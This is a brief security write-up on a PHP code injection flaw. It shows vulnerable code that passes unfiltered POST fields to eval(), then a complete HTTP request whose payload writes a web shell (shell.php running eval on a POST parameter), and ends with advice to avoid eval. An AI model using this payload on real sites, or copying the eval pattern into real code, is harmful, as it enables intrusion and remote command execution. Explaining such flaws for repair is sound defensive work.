PHP code injection vulnerability (cause and solution)

Preface during the test, we found a site with a PHP code injection vulnerability, which is really hard to see. Now let's talk about the cause of this vulnerability and the methods for its use and repair.
The following code snippets introduce the PHP code injection vulnerability,

<?

$postarray = array(

"name",

"email",

"message",

);

foreach ($postarray as $val) {

    if (!isset($_POST[$val])) $_POST[$val] = "";

    eval("$".$val." = '".$_POST[$val]."';");

}

?>

The Code is intended to assign values to variables by using eval, but does not filter the content submitted by users.
The exploitation of vulnerabilities is simple. Since you can execute any php code, you only need to add malicious code when submitting the code. The following is an example.

POST /test.php HTTP/1.1

Content-Length: 89

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=ui7uokv6ac1tdf2bh78fasdc55

Host: www.xxxx.xxx

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Accept: */*

name=&&email=';fputs(fopen("shell.php","w+"),"<?eval(\$_POST[cmd]);?>");%24a%3d'&message=

We recommend that you do not use high-risk functions such as eval for patching. If you want to use them, make sure that the function parameters are controllable. In this example, you can assign values directly.